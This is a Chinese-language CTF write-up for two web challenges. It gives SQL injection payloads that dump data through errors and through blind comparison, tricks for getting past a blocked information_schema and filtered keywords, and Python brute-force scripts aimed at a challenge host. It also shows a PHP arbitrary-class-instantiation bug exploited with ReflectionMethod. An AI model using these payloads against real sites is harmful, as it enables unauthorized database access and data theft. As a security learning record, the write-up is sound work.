Web

easy_sql

这里简要记录下我的思路以及学到的姿势。

一开始经过几次尝试发现uname处存在注入点且为单引号括号闭合,在sql语句为真时,返回 login ,为假时空白,于是就傻乎乎认为是布尔盲注,而忽略了加引号时页面会返回报错信息。所以可以用更为简单的报错注入的题,而我却用布尔盲注捣鼓了半天。得到库名后,发现information被过滤,无法查表和列名。艰难绕过后,利用无列名注入,mysql字符串逐位比较把flag给试了出来,但可能因为大小写的原因导致提交错误,白干一场(后来才知道mysql字符串比较不区分大小写😂)解决方法见下文。

image-20210515183010308

正解报错注入

暴库

1
uname=1')||extractvalue(1,concat('~',database()))%23&passwd=1

利用sqlmap获取表名

1
python sqlmap.py -r " 1.txt" –dump -D “security”

暴列名

1
uname=1') ||updatexml("~",concat("~",(select * from (select * from flag as a join flag b)c)),"~")%23&passwd=1

得flag

1
uname=1')||updatexml(1,((select `e4f94828-d693-4ea1-8759-051b98824ce3` from flag limit 0,1)),1)%23&passwd=1

新姿势&&不足

  1. 当information_schema被过滤,无法查库中表和列时,可以用sys.schema_table_statistics_with_buffersys.x$schema_flattened_keys 等来爆表。
  2. 当列名不知道时,一般利用information_schema_columns;再者可利用join进行无列名注入得到列名;若在join被过滤或盲注等情况,此时则可以考虑mysql字符串逐位比较大小。
  3. ||or 等常用字符过滤时也许可以使用 ^ 异或这个符号,如?id=1'^(payload)^1--+
  4. post传参的Python脚本编写待加强

bypass information_schema

Mysql5.7后新增了sys库,其基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。可通过sys库取代information_schema获取表名。

sys 中可利用的视图

  • sys.schema_table_statistics_with_buffer
  • sys.x$schema_table_statistics_with_buffer
  • sys.schema_auto_increment_columns
  • sys.x$ps_schema_table_statistics_io
1
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();

当or被过滤(没过滤in)时,可利用innodb存储引擎获取表名

  • mysql.innodb_table_stats (此表中库名字段是database_name,而非table_schema)
  • mysql.innodb_index_stats
1
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();

join

通过join进行无列名注入获取列名

1
2
3
4
5
6
mysql> select * from (select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from (select * from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'

在学习大佬wp时还看到利用join绕过逗号过滤,tql

1
?id=-1' union select 1,2,3--+

不用逗号

1
?id=-1' union select * from (select 1)a join (select 2)b join (select 3)c--+

mysql字符串逐位比较

给定两个字符串,会各取两个字符串的首字符ascii码来比较,如下图

image-20210517195727369

由此可知后一字符串首位为f,若首位相同,则会比较下一位,以此类推便可得到后一字符串内容。

但mysql比较两个字符串是不区分大小写的!本应是B(66)<a(97)

image-20210517210315933

怎么能达到区分大小写的效果呢?我在这篇文章中找到答案(大佬tql!)

无需“in”的SQL盲注

将字符串转换为二进制格式后,会强制进行字节对字节的比较

image-20210517215444478

但binary函数中的in被过滤了,无法使用。

新的方法是用concat拼接一个JSON对象,即select concat('B',cast(0 as json))也会返回一二进制字符串

image-20210517222742475

也可以把字符转化为十六进制后比较,B(0x42)<a

exp

由于题目环境已关,这里在BUUCTF找到了一道类似的题以练习。

[GYCTF2020]Ezsqli

fuzz后,发现这里也过滤了information,考虑利用sys

简单尝试后,发现没有回显,也没有报错,当语句为真时返回Nu1L,为假时返回V&N,考虑布尔盲注。

判断表名

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://ead240c2-1793-45a6-8939-a0db7ad04826.node3.buuoj.cn/index.php'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

得到两个表,users233333333333333,f1ag_1s_h3r3_hhhhh

由于过滤了join,无法知道列名,采用mysql字符串逐位比较来获取第二个表的内容。

判断表中有两个字段,猜测flag在第二列。

1
2
3
id=2||((select 1)>(select * from f1ag_1s_h3r3_hhhhh))      bool(false)
id=2||((select 1,1)>(select * from f1ag_1s_h3r3_hhhhh)) Nu1l
id=2||((select 1,1,1)>(select * from f1ag_1s_h3r3_hhhhh)) bool(false)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url='http://ead240c2-1793-45a6-8939-a0db7ad04826.node3.buuoj.cn/index.php'

def str_hex(s):
res = ''
for i in s:
res += hex(ord(i)).replace('0x','')
res = '0x' + res
return res

flag=''
for i in range(1,100):
for j in range(32,128):
payload="2||((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(str_hex(flag+chr(j)))
#payload="2||((select 1,(concat({},cast(0 as json)))) > (select * from f1ag_1s_h3r3_hhhhh))".format(flag+chr(j))
data={
'id':payload
}
r=requests.post(url=url,data=data).text
if 'Nu1L' in r:
flag+=chr(j-1)
print(flag)
if flag[-1] =='}':
exit
break

easy_source

wp参考 fslh-writeup

扫描后台目录得到index.php.swp,少见的备份文件格式,其是 vim 打开文件后的缓存文件
得到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class User
{
private static $c = 0;

function a()
{
return ++self::$c;
}

function b()
{
return ++self::$c;
}

function c()
{
return ++self::$c;
}

function d()
{
return ++self::$c;
}

function e()
{
return ++self::$c;
}

function f()
{
return ++self::$c;
}

function g()
{
return ++self::$c;
}

function h()
{
return ++self::$c;
}

function i()
{
return ++self::$c;
}

function j()
{
return ++self::$c;
}

function k()
{
return ++self::$c;
}

function l()
{
return ++self::$c;
}

function m()
{
return ++self::$c;
}

function n()
{
return ++self::$c;
}

function o()
{
return ++self::$c;
}

function p()
{
return ++self::$c;
}

function q()
{
return ++self::$c;
}

function r()
{
return ++self::$c;
}

function s()
{
return ++self::$c;
}

function t()
{
return ++self::$c;
}

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

分析题目,猜测 flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释。

构造成题目中的 http 参数则是:?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破 rb 的值 a-z,可以发现 flagq 的注释中。

1223846800

其他题目质量很不错(爆0),根本没有思路,大佬的wp如下:

http://www.xl-bit.cn/index.php/archives/434/

http://www.snowywar.top/?p=2190

参考文章

[1] 聊一聊bypass information_schema

[2] SQLi —— 逗号,空格,字段名过滤突破(示例代码)

[3] [GYCTF2020]Ezsqli(Mysql逐位比较)